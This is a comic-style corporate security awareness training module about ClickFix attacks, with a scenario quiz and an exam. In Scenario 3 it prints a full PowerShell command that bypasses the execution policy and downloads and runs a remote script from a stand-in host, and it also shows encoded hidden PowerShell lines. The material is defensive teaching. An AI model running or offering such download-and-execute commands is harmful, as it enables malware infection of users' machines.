DUDE DILIGENCE
ISSUE #1 • SECURITY AWARENESS SERIES
"THE CAPTCHA CONSPIRACY"
When fake CAPTCHAs attack, only one man has the compliance clearance to stop them.
PAGE 1: THE SETUP
Monday morning. Circle 6 Systems headquarters. The coffee is adequate. The compliance is pending.
DUKE (inner monologue)
Another week, another chance for someone to click something they absolutely should not click. The circle of life continues.
MANDATORY: Annual Security Awareness Training
Due by Friday. No exceptions. Yes, that means you, Duke.
DUKE (inner monologue)
I've survived 47 mandatory trainings. Forty-seven. I've watched every phishing video they've ever produced. I've passed every quiz with a score that would make a Scantron blush.
*SIIIIIP*
DUKE (inner monologue)
I can survive one more. Probably. Unless it's the one with the animated paperclip. That one almost broke me.
But as Duke Dillingham would soon discover, today's lesson would be... hands-on.
DUDE
Duke's First Law of Cybersecurity:
The threat landscape changes every day. But the user who clicks "Enable Macros" without reading? That person is eternal.
The threat landscape changes every day. But the user who clicks "Enable Macros" without reading? That person is eternal.
PAGE 1 OF 8
PAGE 2: WHAT IS CLICKFIX?
DUDE (to reader)
Oh, hey there. Yeah, I'm talking to you. Through the screen. Don't worry, it's not a security breach. Probably.
Let me tell you about the latest thing the threat actors cooked up. It's called ClickFix, and honestly? I'm almost impressed. Almost.
Let me tell you about the latest thing the threat actors cooked up. It's called ClickFix, and honestly? I'm almost impressed. Almost.
The Concept
DUDE (to reader)
Someone decided that "I am not a robot" wasn't annoying enough. So they weaponized it.
ClickFix attacks use fake CAPTCHAs, fake error messages, and fake "fix" dialogs to trick you into running malicious commands on your own machine. You become the attack vector. They basically social-engineered the social engineering.
ClickFix attacks use fake CAPTCHAs, fake error messages, and fake "fix" dialogs to trick you into running malicious commands on your own machine. You become the attack vector. They basically social-engineered the social engineering.
The Technique
The attack silently copies a malicious PowerShell command to your clipboard. Then it tells you to:
Win + R
Open the Run dialog
Ctrl + V
Paste the command
Enter
Execute the payload
Three keystrokes. That's it. That's the whole exploit.
517% SURGE IN 2025!
ClickFix attacks exploded in 2025. Nation-state actors including APT28 (Russia), Kimsuky (North Korea), and MuddyWater (Iran) adopted the technique. When three separate nation-states agree on something, you know it works.
DUDE
Look, I don't want to be alarmist. But when the guys who can't agree on literally anything else all independently decide to use the same attack... maybe pay attention to this one.
PAGE 2 OF 8
PAGE 3: THE ATTACK CHAIN
The anatomy of a ClickFix attack in four devastatingly simple steps. Narrated with the appropriate level of disdain.
1
THE LURE
A fake CAPTCHA, error message, or document verification page appears. It looks official. It looks urgent. It looks like every other annoying popup you've dismissed a thousand times.
🛡
Verify you are human
I am not a robot
DUDE
"Oh good, another CAPTCHA. How original. Really pushing the creative envelope here."
2
THE CLIPBOARD HIJACK
The moment you interact with the page, a malicious PowerShell or command-line script is silently copied to your clipboard. You didn't copy anything. You didn't ask for anything. But it's there now, like an uninvited guest at a potluck.
powershell -w hidden -e SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0AC...
DUDE
"Base64 encoded PowerShell. Because just writing 'steal everything' in plain text would be too honest, I suppose."
3
THE USER RUNS IT
The page displays "verification steps" telling you to press Win+R, then Ctrl+V, then Enter. It frames this as part of the CAPTCHA process. It is not part of any CAPTCHA process. It has never been part of any CAPTCHA process.
💻 Run
powershell -w hidden -e SQBuAHYAbwBrAGUALQBXAGUA...
DUDE
"And just like that, the user has willingly executed arbitrary code on their own machine. The attacker didn't need a zero-day. Didn't need admin rights. Just needed someone who follows instructions."
4
THE PAYLOAD
The command downloads and installs malware. Info stealers grab passwords, cookies, and crypto wallets. Remote Access Trojans (RATs) give attackers full control. Ransomware encrypts everything. Sometimes all three, because why settle?
COMPROMISED!
DUDE
"The whole thing takes about eight seconds. Less time than it took me to heat up this coffee. Which, for the record, is still lukewarm. Just like our endpoint detection."
PAGE 3 OF 8
PAGE 4: THE ATTACK HITS
Meanwhile, at the desk of Janet from Finance...
⚠️
Verification Required
To access this invoice, please verify you are human.
✅ Verification Steps:
1. Press Win + R
2. Press Ctrl + V
3. Press Enter
👩💼
JANET
Hmm, I need to pull up the Q3 invoices for the audit. This verification thing is new but I guess that's just how things work now...
Janet reaches for Win+R...
!! COMPLIANCE SENSE !!
Across the office, Duke Dillingham feels a disturbance in the compliance. His badge begins to glow. The coffee grows cold. Something is wrong.
Mr. Rogers Mode: ACTIVATED
DUDE (Mr. Rogers mode)
Hey Janet, hold on one second — can I take a look at that with you? I just want to make sure everything's good before you proceed. No rush at all.
JANET
Oh, Duke! Sure. It's just asking me to verify for the invoice portal. Is that... not normal?
DUDE (Mr. Rogers mode)
I'm really glad you stopped to think about that. That right there? That instinct to pause and question? That's exactly what keeps us safe.
Now, let me show you what's actually happening here, because this is a really clever trick, and honestly, a lot of smart people have fallen for it.
Now, let me show you what's actually happening here, because this is a really clever trick, and honestly, a lot of smart people have fallen for it.
DUDE (Mr. Rogers mode)
No legitimate verification process will ever — ever — ask you to open a Run dialog. That is simply not a thing that real software does. It would be like a bank asking you to hotwire your own car to verify your identity.
CRISIS AVERTED!
Janet closes the tab. IT is notified. The invoice portal URL is flagged and blocked. The coffee is reheated.
DUDE (Mr. Rogers mode)
You did great, Janet. Seriously. The fact that you hesitated even for a second puts you ahead of about 90% of the internet. Now, let me show you exactly what to look for so this never gets close again.
PAGE 4 OF 8
PAGE 5: SPOT THE THREAT
DUDE (to reader)
Alright, your turn. I'm going to show you four scenarios. For each one, tell me: is this a ClickFix attack, or is it legitimate? Don't worry, I won't judge. Much.
SCENARIO 1
🛡
Verify you are human
Click below and follow the verification steps
✅ To verify:
1. Press Win+R
2. Press Ctrl+V
3. Press Enter
Is this a ClickFix attack?
CORRECT! This IS a ClickFix attack.
Dude says: "Gold star. The dead giveaway? 'Press Win+R and paste.' No real CAPTCHA has ever asked you to open a system dialog. That's like a TSA agent asking you to pat yourself down. It's not how verification works. Also, check that URL — 'cloud-security-check.com' is not a real domain anyone should trust."
NOT QUITE. This IS a ClickFix attack.
Dude says: "Hey, no shame in that — these things are designed to fool people. But here's the thing: the moment any website asks you to press Win+R, that's not verification. That's infiltration. Real CAPTCHAs happen entirely inside the browser. They never, ever ask you to interact with your operating system. Now you know."
SCENARIO 2
🔄
Updates are available
2024-12 Cumulative Update for Windows 11 (KB5048667)
Last checked: Today, 9:42 AM
Restart now
Schedule restart
Is this a ClickFix attack?
CORRECT! This is a REAL Windows Update dialog.
Dude says: "Good eye. This is a standard Windows Update notification. Notice what's missing? No 'open Run dialog.' No 'paste this command.' No sketchy URL in a browser. It's a native system dialog offering you a restart or a schedule. That's just Windows being Windows. Annoying, but legitimate."
NOT QUITE. This is actually LEGITIMATE.
Dude says: "I appreciate the vigilance, I really do. But this one's the real deal. Standard Windows Update dialog, native to the OS, not in a browser. It's not asking you to run any commands or paste anything. When in doubt, you can always verify by going to Settings > Windows Update yourself. Better safe than sorry is a great instinct though."
SCENARIO 3
⚠️
Display Driver Error Detected
Your display driver has encountered a critical error. To fix this issue, run the following command:
powershell -ep bypass -w hidden IEX(New-Object Net.WebClient).DownloadString('http://fix-driver.xyz/update.ps1')
Open PowerShell and paste the command above, or press Win+R and paste to fix.
Is this a ClickFix attack?
CORRECT! This IS a ClickFix attack.
Dude says: "Textbook ClickFix. A website cannot detect your display driver status. That's not how browsers work. And that PowerShell command? 'DownloadString from fix-driver.xyz'? That's downloading and executing a remote script. That's not a fix. That's a felony waiting to happen. Extra points if you noticed the '-ep bypass' flag, which tells PowerShell to ignore its own security policies. Subtle."
NOT QUITE. This IS a ClickFix attack.
Dude says: "I get it — it looks official with the error message and everything. But here's the rule: a website in your browser cannot diagnose your display driver. That's physically impossible. And any page asking you to run PowerShell commands is hostile. Period. The command here literally downloads and runs a remote script while bypassing security policies. Real driver fixes come from Windows Update or your manufacturer's official site."
SCENARIO 4
Please verify to continue
✓
I'm not a robot
reCAPTCHA
Privacy - Terms
Privacy - Terms
Protected by Google reCAPTCHA
Is this a ClickFix attack?
CORRECT! This is a REAL reCAPTCHA.
Dude says: "Good call. This is a standard Google reCAPTCHA widget on a known domain. Notice what it's NOT doing: it's not asking you to open Run, paste commands, or interact with anything outside the browser. You click the checkbox, maybe identify some traffic lights, and move on with your life. That's how real CAPTCHAs work — entirely within the browser, entirely boring."
NOT QUITE. This is actually LEGITIMATE.
Dude says: "I love the paranoia — seriously, that instinct will serve you well. But this particular example is the real deal. It's on a Google domain, it uses the standard reCAPTCHA widget, and most importantly: it only asks you to click a checkbox inside the browser. No system dialogs, no keyboard shortcuts, no clipboard shenanigans. The key difference is always: does it stay in the browser, or does it try to escape into your operating system?"
DUDE
The Golden Rule:
Real verification = stays in the browser.
ClickFix = tries to escape into your operating system.
That distinction will save your bacon every single time.
Real verification = stays in the browser.
ClickFix = tries to escape into your operating system.
That distinction will save your bacon every single time.
PAGE 5 OF 8
PAGE 6: THE DEFENSE PLAYBOOK
DUDE (to reader)
Alright. Here are the rules. They're simple, they're absolute, and they will keep you out of trouble. I call them The Four Immutable Laws of Not Getting ClickFixed. I've been meditating on these since 2024. They haven't changed. They won't change.
RULE 1: THE RUN DIALOG IS NOT VERIFICATION
No legitimate website asks you to open the Run dialog. Ever. Not once. That's not a thing.
The Windows Run dialog (Win+R) is a system-level tool. Websites live inside browsers. They have no business asking you to use system tools. If a website tells you to press Win+R, that website is trying to hurt you. It's that simple. There is zero ambiguity here.
RULE 2: UNINVITED CLIPBOARD = HOSTILE CLIPBOARD
If something copies to your clipboard without you doing it, that's not helpful. That's hostile.
You should be in control of what's on your clipboard at all times. If a website silently places content there, that content is almost certainly malicious. Before pasting anything anywhere important, check what's actually on your clipboard first (Ctrl+V into Notepad, not into a Run dialog).
RULE 3: WHEN IN DOUBT, CLOSE THE TAB
When in doubt, close the tab. The internet will still be there.
If something feels off — weird CAPTCHA, unexpected error, urgent popup — just close it. Don't interact with it. Don't try to figure out if it's real. Just close the tab. You can always navigate back to the site you wanted through a known bookmark or by typing the URL yourself. The 3 seconds you "lose" could save you weeks of incident response.
RULE 4: CALL IT IN
Call IT. That's literally what they're there for.
Report anything suspicious. Forward the URL. Screenshot the page. Send it to your IT security team. You are not "bothering" them. You are not "being paranoid." You are doing your job. Every reported attempt helps protect the entire organization. The only bad report is the one you didn't make.
"I've been doing this a long time. I've seen zero-days and social engineering and insider threats and one guy who plugged a USB drive he found in a parking lot into his work computer 'just to see what was on it.' Through all of that, I've learned one thing: the best security tool isn't software. It's the two-second pause before you click."
— Duke "Dude Diligence" Dillingham
PAGE 6 OF 8
PAGE 7: THE FINAL EXAM
DUDE (to reader)
Eight questions. Multiple choice. I believe in you. Probably. Let's see what you've retained from my incredibly engaging presentation. Minimum passing score: 6 out of 8. That's 75%. I could have made it 100%, but I'm a generous compliance officer.
QUESTION 1 OF 8
What is the primary social engineering technique used in ClickFix attacks?
Dude says: "ClickFix relies on fake CAPTCHAs and error messages to trick the user into manually executing malicious commands. No exploits needed — the user IS the exploit."
QUESTION 2 OF 8
In a typical ClickFix attack, what key combination is the victim told to press first?
Dude says: "Win+R opens the Run dialog, which can execute arbitrary commands. The attacker has already placed the malicious command on your clipboard, so the next step is paste and run. Elegant in a deeply upsetting way."
QUESTION 3 OF 8
How does the malicious command get onto the victim's clipboard in a ClickFix attack?
Dude says: "The page uses JavaScript to silently write a malicious command to your clipboard. You didn't copy anything. You didn't highlight anything. The clipboard hijack happens invisibly, and that's exactly what makes it dangerous."
QUESTION 4 OF 8
What types of malware are commonly deployed through ClickFix attacks?
Dude says: "ClickFix is a delivery mechanism, not a specific payload. Attackers use it to deploy info stealers (Lumma, StealC), RATs (AsyncRAT, NetSupport), and ransomware. Sometimes they deploy multiple payloads at once, because they're overachievers."
QUESTION 5 OF 8
Which of the following is a legitimate CAPTCHA behavior?
Dude says: "Real CAPTCHAs live entirely inside the browser. Click a checkbox. Pick the traffic lights. Solve a puzzle. That's it. The moment a 'CAPTCHA' asks you to interact with your operating system, it has ceased to be a CAPTCHA and become an attack."
QUESTION 6 OF 8
You encounter a webpage that says your display driver needs fixing and provides a PowerShell command to run. What should you do?
Dude says: "Close the tab and report it. Websites cannot diagnose your hardware. They just can't. And running unknown PowerShell commands — even in Safe Mode — is like wearing a seatbelt while driving off a cliff. Technically present, practically useless."
QUESTION 7 OF 8
Which nation-state threat actors have been observed using ClickFix techniques?
Dude says: "APT28, Kimsuky, AND MuddyWater all adopted ClickFix. Three different countries, three different geopolitical agendas, one shared conclusion: people will follow instructions on a screen. It's not just script kiddies anymore. This is state-sponsored social engineering."
QUESTION 8 OF 8
What is the BEST way to verify if a CAPTCHA or system prompt is legitimate?
Dude says: "Design can be faked. HTTPS can be obtained by anyone. Coworkers may not know. But the one thing that ALWAYS gives away a ClickFix attack is that it tries to get you outside the browser and into system-level tools. That boundary — browser vs. operating system — is your single most reliable indicator."
PAGE 7 OF 8
PAGE 8: CERTIFICATION
DUDE DILIGENCE
Official Certificate of Completion
This certifies that
has successfully survived
Issue #1: "The CAPTCHA Conspiracy"
and demonstrated awareness of ClickFix social engineering attacks,
clipboard hijacking techniques, and the sacred art of closing suspicious tabs.
Issue #1: "The CAPTCHA Conspiracy"
and demonstrated awareness of ClickFix social engineering attacks,
clipboard hijacking techniques, and the sacred art of closing suspicious tabs.
VERIFIED
HUMAN
HUMAN
DUDE DILIGENCE SECURITY AWARENESS SERIES
Duke Dillingham
Chief Compliance Dude
Circle 6 Systems
Security Training Division
DUDE (to reader)
Hey, you made it. All the way to the end. That actually means something. Most people skim these things and click "complete" as fast as possible. You didn't. Or maybe you did and you're just reading this part. Either way, you're here now, and I'm glad.
Stay skeptical. Stay curious. And remember: if something wants you to press Win+R, the only correct response is to close the tab and call IT.
See you in Issue #2.
— Dude
Stay skeptical. Stay curious. And remember: if something wants you to press Win+R, the only correct response is to close the tab and call IT.
See you in Issue #2.
— Dude
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